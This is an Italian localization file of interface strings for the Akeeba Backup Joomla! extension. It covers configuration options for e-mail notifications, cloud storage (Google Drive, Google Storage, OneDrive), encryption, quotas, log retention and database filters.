COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Oggetto e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Consente di verificare i backup falliti tramite un URL di pianificazione front-end. Ricordati di andare su Akeeba Backup, fare clic su Opzioni, quindi sulla scheda Front-end. Imposta "Abilita API di backup front-end legacy (cron job remoti)" su Sì per abilitare questa funzione."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Abilitato controllo backup falliti dal front-end"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Un backup verrà considerato bloccato (fallito) dopo questo numero di secondi di inattività.<br/>NON MODIFICARE QUESTO VALORE A MENO CHE NON SAI COSA STAI FACENDO!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Timeout backup bloccato"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]. Puoi anche usare [PROFILENUMBER] per il numero del profilo corrente, [PROFILENAME] per il nome del profilo corrente, [PARTCOUNT] per il numero totale di parti dell'archivio di backup generato, [FILELIST] per un elenco delle parti dell'archivio di backup e [REMOTESTATUS] per un'indicazione sul completamento del caricamento nello storage remoto."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Corpo e-mail"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Oggetto e-mail"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Comportamento predefinito di Joomla!"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="La data e l'ora del backup - come registrate nel nome del file, nella descrizione predefinita e nelle e-mail - saranno espresse in questo fuso orario. Questa opzione influisce su tutte le origini di backup, ovvero tutti i backup, indipendentemente da come vengono eseguiti (tramite Akeeba Backup stesso, l'API JSON remota, ecc.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Fuso orario del backup"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Invia una notifica e-mail dopo l'esecuzione di un backup con la funzione Backup front-end (API legacy) o API JSON."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="E-mail al completamento del backup"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Sempre"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="Quando inviare l'e-mail al completamento del backup? Sempre significa ogni volta che un backup è completato. Caricamento fallito significa che l'e-mail viene inviata solo se il backup è completo ma il caricamento nello storage remoto non è andato a buon fine. Se il backup fallisce, questa funzione non può inviare alcuna e-mail; consulta la pagina Pianifica backup automatici per informazioni su come ricevere e-mail riguardo ai backup falliti."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Caricamento fallito"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Quando inviare l'e-mail"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Queste opzioni si applicano solo ad Akeeba Backup Professional</strong>. Controlla le opzioni delle funzionalità remote e pianificate per Akeeba Backup. Per ulteriori informazioni sulla pianificazione dei backup, consulta la pagina Informazioni sulla pianificazione in Akeeba Backup Professional o la nostra documentazione."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Backup front-end"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="NON devi aggiungere il prefisso ftp:// al tuo nome host FTP. Rimuovi il prefisso ftp:// e riprova."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Akeeba Backup è riuscito a connettersi al tuo server, ma non è riuscito a caricare un file di test. Il caricamento del backup potrebbe fallire."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Compilato automaticamente al completamento del Passaggio 1 di autenticazione sopra. Se stai collegando un altro sito allo stesso account Google Drive, NON copiare il token di accesso e NON eseguire l'autenticazione. Copia invece semplicemente il Token di aggiornamento dal sito precedente a questo."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Token di accesso"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="La directory in Google Drive in cui archiviare i backup. Usa le barre oblique in avanti. Corretto: some/thing. Errato: some\thing. Una singola barra oblique indica che gli archivi saranno salvati nella root del drive. LEGGI LA DOCUMENTAZIONE: I percorsi in Google Drive sono ambigui!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Token di aggiornamento"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Ricarica l'elenco dei Drive"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Quale Google Drive desideri utilizzare per archiviare i tuoi file. Devi completare l'autenticazione prima che questo elenco venga popolato. Ha senso solo quando hai accesso a Google Team Drive (es. utenti con piano business o enterprise di G Suite). Se non sei sicuro, usa l'opzione "Google Drive (personale)"."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (personale)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Drive"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Carica nelle cartelle "Condivisi con me""
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Se abilitata, Akeeba Backup cercherà le cartelle nella raccolta Condivisi con me prima di cercare una cartella con lo stesso nome nel tuo Drive. Questo è molto più lento e potrebbe portare al caricamento nella cartella sbagliata se nella tua raccolta Google Drive esistono molte cartelle condivise con lo stesso nome."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="La tua chiave di accesso a Google Storage, disponibile nello strumento di gestione delle chiavi di Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Chiave di accesso"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="Il nome del tuo Bucket di Google Storage. Assicurati che sia digitato come mostrato nell'applicazione web del browser di Google Cloud Storage (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="La Directory all'interno del tuo Bucket dove verranno archiviati i File di backup. Lascia vuoto per archiviare i File nella radice del Bucket."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Incolla qui il contenuto del File delle credenziali JSON che Google Cloud Console ha prodotto durante la configurazione dell'account di servizio per il software di backup. Ricordati di includere le parentesi graffe all'inizio e alla fine del testo."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Contenuto di googlestorage.json (leggi la documentazione)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Se abilitata, Akeeba Backup proverà a convertire il nome del Bucket in lettere minuscole, ad esempio MyBucket verrà convertito in mybucket. Se hai creato un Bucket con lettere maiuscole, ad esempio MyNewBucket, deseleziona questa opzione e assicurati che il nome del Bucket sia scritto esattamente come appare nell'applicazione web del browser di Google Cloud Storage (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Nome del Bucket in minuscolo"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="La tua Chiave segreta di Google Storage, disponibile nello strumento di gestione delle chiavi di Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Chiave segreta"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Se abilitata, verrà utilizzata una connessione sicura (HTTPS) durante il caricamento dei File. Pur aumentando la sicurezza dei dati trasferiti, aumenta anche la possibilità di errore del backup a causa di timeout."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Usa SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Coldline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Modifica la classe di archiviazione degli archivi di backup caricati. "Nessuna" significa che i File verranno archiviati con la classe di archiviazione predefinita specificata nel tuo Bucket. Tieni presente che le opzioni diverse da Standard potrebbero essere meno costose da archiviare, ma potrebbero comportare costi aggiuntivi in caso di scaricamento o eliminazione. Consulta Google per informazioni sui prezzi."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Nearline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Nessuna (lascia decidere al Bucket)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Standard Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Classe di archiviazione"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Configurazione di base"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Lasciare che Akeeba Backup si configuri da solo?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Filtri opzionali"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Gestione della Quota"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Ottimizzazione"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Quando si esegue un backup completo del Sito, Akeeba Backup incorpora nell'Archivio lo script di Ripristino definito qui. Ciò consente di ripristinare il Sito da zero, senza dover installare il CMS o Akeeba Backup, anche quando il Sito o il Server è completamente distrutto"
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Script di Ripristino incorporato"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Questa chiave verrà utilizzata per cifrare il contenuto dell'Archivio. La chiave distingue le maiuscole dalle minuscole, ad esempio ABC, abc e Abc sono tre Password diverse. Conserva una copia della Password in un luogo sicuro! Se la perdi, non è possibile recuperarla."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Chiave di Cifratura"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Quando abilitata (impostazione predefinita), la tua Password verrà espansa in una chiave crittografica utilizzata nell'intero Archivio. Questo è veloce, ma nell'improbabile evento che un attaccante con risorse abbondanti riesca a decodificare la chiave crittografica da un blocco cifrato nel File — senza eseguire un attacco a forza bruta sulla Password stessa — potrebbe quindi decifrare l'intero Archivio di backup. Quando disabilitata, da ogni blocco cifrato verrà derivata una chiave crittografica diversa dalla tua Password, il che è MOLTO più lento ma ti protegge da questo tipo di attacco, richiedendo all'attaccante di eseguire un attacco a forza bruta sulla Password, operazione molto più lenta."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Espansione della chiave a livello di Archivio"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="L'API JSON di Akeeba Backup ti consente di eseguire e gestire backup, nonché di gestire le opzioni di Akeeba Backup da remoto. Devi abilitare questa opzione se prevedi di eseguire, scaricare o gestire backup, ad esempio con Akeeba Remote CLI, Akeeba UNiTE e servizi di pianificazione dei backup."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Abilita API JSON (backup remoto)"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Quando una Directory contiene più File o Directory di questo numero, viene considerata \"grande\". Pertanto, Akeeba Backup tenterà di effettuarne una nuova scansione nel passaggio successivo per evitare timeout del backup. Un valore troppo basso causerà un rallentamento considerevole del backup. Aumenta — a meno che non si verifichino Errori di timeout — per velocizzare il backup."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Soglia per Directory grande"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="I File più grandi di questa soglia verranno compressi in un proprio passaggio per prevenire la possibilità di un timeout. Valori tra 2 e 10 MB funzionano meglio sulla maggior parte dei Server."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Soglia per File grande"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Quante Directory eseguire la scansione in ogni passaggio. Impostazione consigliata: 50. Valori più grandi rendono il backup marginalmente più veloce, ma con maggiori probabilità di timeout."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Dimensione del batch di scansione delle Directory"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Quanti File eseguire la scansione e comprimere in ogni passaggio. Impostazione consigliata: 100. Valori più grandi rendono il backup marginalmente più veloce, ma con maggiori probabilità di timeout o esaurimento della memoria."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Dimensione del batch di scansione dei File"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Dopo che Akeeba Backup ha terminato la configurazione autonoma, puoi eseguire un backup o ottimizzare manualmente la configurazione."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Sembra che tu non abbia ancora configurato Akeeba Backup. Fai clic sul pulsante Procedura guidata di configurazione qui sotto per lasciare che si configuri da solo."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="La Legacy Front-end Backup API ti consente di eseguire backup pianificati tramite strumenti di accesso URL come wget e curl. Devi abilitare questa opzione se prevedi di eseguire backup con il Server CRON del tuo host usando wget o curl, oppure quando prevedi di utilizzare un servizio CRON di terze parti come WebCRON.org. Quando possibile, ti consigliamo di utilizzare invece lo script nativo CLI CRON o l'API JSON di Akeeba Backup, poiché sono opzioni molto più sicure."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Abilita Legacy Front-end Backup API (Cron job remoti)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Tutte le informazioni e il debug"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Questa opzione determina il livello di dettaglio del Registro di backup."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Solo Errori"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Tutte le informazioni"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Nessuno"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Livello del Registro"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Errori e Avvisi"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Rimuovi automaticamente i vecchi backup in base al giorno in cui sono stati eseguiti. AVVISO: L'ABILITAZIONE DI QUESTA OPZIONE CAUSERÀ L'IGNORANZA DI TUTTE LE ALTRE IMPOSTAZIONI DI QUOTA (CONTEGGIO E DIMENSIONE)."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Abilita le quote per l'età massima del backup"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="I backup eseguiti in questo giorno del mese non verranno eliminati. Lascia l'impostazione predefinita, 1, per conservare sempre i backup eseguiti il 1° giorno del mese"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Non eliminare i backup eseguiti in questo giorno del mese"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="I backup più vecchi di questo numero di giorni verranno eliminati automaticamente. Lascia l'impostazione predefinita, 31, per conservare tutti i backup dell'ultimo mese"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Età massima del backup, in giorni"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Ogni passaggio di Akeeba Backup durerà <em>al massimo</em> il tempo definito qui. Usa un valore inferiore al tempo massimo di esecuzione PHP. In genere, impostarlo a 10 secondi è adeguato, tranne che su host molto restrittivi.<strong>Suggerimento</strong>: Seleziona Personalizzato e digita il valore desiderato se non è nell'elenco."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Tempo massimo di esecuzione"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="La dimensione massima, in byte, di ogni istruzione INSERT estesa. Si consiglia di mantenerla sufficientemente bassa affinché MySQL non generi un Errore durante il ripristino del dump del Database."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Dimensione massima del pacchetto per INSERT estesi"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Ogni passaggio di Akeeba Backup durerà <em>almeno</em> il tempo definito qui. Questo è necessario per aggirare le soluzioni di sicurezza anti-DoS. Se ricevi Errori 403 Forbidden o AJAX, aumenta questa impostazione. Impostandolo a 0 si disabilita questa funzione.<br/><br/><strong>Suggerimento</strong>: Seleziona Personalizzato e digita il valore desiderato se non è nell'elenco."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Tempo minimo di esecuzione"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Quando abilitata, Akeeba Backup tenterà di eseguire il dump di queste entità avanzate del Database MySQL 5. Se il backup si blocca durante la fase di backup, potrebbe essere necessario disabilitarla."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Esegui il dump di PROCEDUREs, FUNCTIONs e TRIGGERs"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Rimuove USING BTREE e USING HASH dalle definizioni degli indici delle tabelle nei File di dump. Questo è necessario per il ripristino su Server che hanno uno dei motori di indicizzazione disabilitato (es. sulle versioni più recenti di XAMPP). ATTENZIONE! QUESTO PUÒ CAUSARE PROBLEMI DI RIPRISTINO SU ALCUNI SERVER."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Salta il motore degli indici"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Quando abilitata, Akeeba Backup non traccerà le dipendenze tra tabelle e viste. Usa questa opzione solo quando hai centinaia di tabelle del Database e non utilizzi VIEW, FUNCTION, PROCEDURE, TRIGGER di MySQL o tabelle che utilizzano i motori (estremamente raramente usati) TEMPORARY, MEMORY, MERGE o FEDERATED."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Nessun tracciamento delle dipendenze"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Numero totale di record obsoleti (backup i cui File sono stati eliminati) da conservare nella pagina Gestione backup. Imposta a 0 per nessun limite."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Record obsoleti da conservare"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Elimina i File di Registro obsoleti"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Elimina automaticamente i File di Registro dei record di backup riusciti. Il File di Registro del record di backup più recente partecipa ai calcoli ma non viene mai rimosso. Se il tuo Profilo di backup ha un motore di post-elaborazione diverso da Nessuno o Invia per email, solo i record con lo stato di backup Remoto partecipano a questa impostazione di Quota dei File di Registro. Se il tuo Profilo di backup ha il motore di post-elaborazione Nessuno o Invia per email, solo i record con lo stato OK o Backup remoto partecipano a questa impostazione di Quota dei File di Registro. Questa funzione viene eseguita dopo la Quota dei record obsoleti; la Quota dei record obsoleti potrebbe rimuovere anche i vecchi File di Registro."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Tipo di Quota per i File di Registro obsoleti"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Scegli il metodo utilizzato per determinare quali vecchi File di Registro rimuovere."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Dimensione massima"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Conteggio"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Età massima"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Conteggio dei File di Registro"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Quanti File di Registro conservare. Il File di Registro dell'ultimo backup eseguito può partecipare al conteggio ma non verrà mai eliminato. Solo i File di Registro dei record di backup riusciti saranno considerati per la rimozione."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Dimensione dei File di Registro (Megabyte)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="La dimensione totale massima dei file di registro da conservare. Il file di registro dell'ultimo backup eseguito può partecipare al calcolo ma non verrà mai eliminato. Solo i file di registro dei record di backup riusciti saranno considerati per la rimozione."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Età dei file di registro (giorni)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="L'età massima in giorni dei file di registro da conservare. Il file di registro dell'ultimo backup eseguito non verrà mai eliminato. Solo i file di registro dei record di backup riusciti saranno considerati per la rimozione."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Compilato automaticamente quando si completa il Passaggio 1 dell'autenticazione indicato sopra. NON condividere lo stesso token su molti siti. Autenticare invece ogni sito separatamente."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Token di accesso"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Ricarica l'elenco delle unità"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Unità"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Scegli quale unità (OneDrive Personal, OneDrive for Business o SharePoint) a cui il tuo account ha accesso verrà utilizzata per archiviare i backup. È necessario completare l'autenticazione prima che questo elenco venga popolato. Ha senso solo quando si ha accesso a più unità OneDrive (ad esempio il proprio account Microsoft fa parte dell'abbonamento di un'organizzazione). In caso di dubbio usa l'opzione "Unità predefinita" che utilizza la tua unità personale predefinita — tipicamente equivalente alla prima opzione "Unità (OneDrive Personal)" che vedi in basso."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Unità (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="La directory all'interno dell'unità Microsoft OneDrive in cui archiviare gli archivi di backup. Utilizzare barre oblique, non barre rovesciate e anteporre sempre una barra obliqua. Corretto: /some/thing. Errato: some\\thing. Una singola barra obliqua significa che gli archivi verranno archiviati nella radice dell'unità."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Compilato automaticamente quando si completa il Passaggio 1 dell'autenticazione indicato sopra. NON condividere lo stesso token su molti siti. Autenticare invece ogni sito separatamente."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Token di aggiornamento"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="In Joomla! 3.9 e versioni successive le azioni degli utenti vengono registrate nel database, creando una tabella con milioni di righe che rallenta il backup. Seleziona questa opzione per escludere tali dati."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Registro azioni utente di Joomla!"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Se abilitato, verranno inclusi nel backup solo i file modificati dopo una data e un'ora specifiche."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Filtro condizionale per data"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup includerà nel backup i file modificati dopo questa data e ora. Il formato è AAAA-MM-GG hh:mm:ss. Tutte le date e gli orari sono espressi nel fuso orario del server."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="File di backup modificati dopo"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Esclude automaticamente i file di registro degli errori, ad es. <code>error_log</code>, indipendentemente da dove si trovino nel sito di cui si esegue il backup. Questi file cambiano dimensione durante il backup, il che può portare a backup corrotti."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Escludi i registri degli errori"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Esclude dal backup i contenuti non critici di Smart Search. Si raccomanda vivamente di farlo per motivi di prestazioni. Dopo aver ripristinato il sito, andare in Componenti, Smart Search e fare clic sul pulsante Indicizza per ricostruire questi dati."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Ignora le tabelle dei termini e della tassonomia di Finder"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Se abilitato, Akeeba Backup escluderà automaticamente le cartelle specifiche dell'host più comuni per l'archiviazione delle statistiche di accesso al sito. Queste cartelle sono di sola lettura per l'utente del sito web, causando problemi di ripristino se incluse nel backup."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Backup solo delle tabelle installate da Joomla! e dalle sue estensioni"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Abilitando questo filtro si esclude dal backup qualsiasi tabella del database che non sia stata installata da Joomla! stesso o da una delle sue estensioni. Le informazioni sulle tabelle installate vengono fornite dai file SQL inclusi con Joomla! e le sue estensioni. Questo filtro è utile quando si hanno molte tabelle inutili o copiate (si pensi a <code>#__users_oldcopy_20250910</code>) e non si vuole o non si sa come eliminarle una per una. Verificare sempre il ripristino del backup su un server di sviluppo/staging quando si utilizza questo filtro per assicurarsi che la propria configurazione non abbia accidentalmente escluso tabelle che si desidera utilizzare."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Limita il filtro alle tabelle con il prefisso di Joomla"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Abilitando questa opzione si limita il filtro "Backup solo delle tabelle installate da Joomla! e dalle sue estensioni" alle tabelle il cui nome inizia con il prefisso del nome delle tabelle del database di Joomla!. Ciò è utile se si hanno script di terze parti in esecuzione al di fuori di Joomla che installano le proprie tabelle senza un prefisso di tabella, o con un prefisso di tabella diverso, e si desidera includerle nel backup."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Consenti esplicitamente queste tabelle"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Inserire un elenco separato da virgole di tabelle del database da includere nel backup anche se verrebbero altrimenti escluse dal filtro "Backup solo delle tabelle installate da Joomla! e dalle sue estensioni". Ciò è utile per includere le tabelle di estensioni che installano le proprie tabelle con un metodo diverso dalla gestione integrata degli schemi del database di Joomla!. Suggerimento: se si vede una tabella che si desidera includere nel backup con un'icona rossa nella pagina Escludi tabelle database, aggiungerla a questo elenco."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Escludi le cartelle delle statistiche specifiche dell'host"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Questa è la directory sul server in cui Akeeba Backup archivierà gli archivi di backup e il file di registro del backup. È possibile utilizzare le seguenti macro:<ul><li><strong>[DEFAULT_OUTPUT]</strong> La directory di output predefinita</li><li><strong>[SITEROOT]</strong> La directory radice del sito</li><li><strong>[ROOTPARENT]</strong> Una directory sopra la radice del sito</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Directory di output"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="QUESTO NON È IL NOME DEL CONTENITORE DI ARCHIVIAZIONE! Accedere al cloud manager OVH, Server, espandere il server, fare clic su Storage. Si vedrà l'URL del contenitore scritto lì sopra l'elenco dei file. Copiarlo qui."
